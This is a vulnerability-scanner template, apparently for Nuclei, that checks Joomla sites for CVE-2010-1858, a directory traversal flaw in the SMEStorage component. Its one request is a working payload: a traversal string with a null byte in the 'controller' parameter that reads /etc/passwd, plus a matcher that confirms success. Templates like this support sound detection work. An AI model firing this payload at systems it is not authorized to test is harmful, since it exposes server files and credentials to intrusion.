id: CVE-2010-1858

info:
  name: Joomla! Component SMEStorage - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11853
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1858
    - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57108
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1858
    cwe-id: CWE-22
    epss-score: 0.13621
    epss-percentile: 0.95986
    cpe: cpe:2.3:a:gelembjuk:com_smestorage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gelembjuk
    product: com_smestorage
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,gelembjuk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009a0d567cf0f97cdd990f284897762a3c3bf15edf84dc5acdb74c069bfbb66c68022016a0111d9526867cf5d5862dbf3443c2bf5d2b7db151643da042e40542177d5c:922c64590222798bb761d5b6d8e72950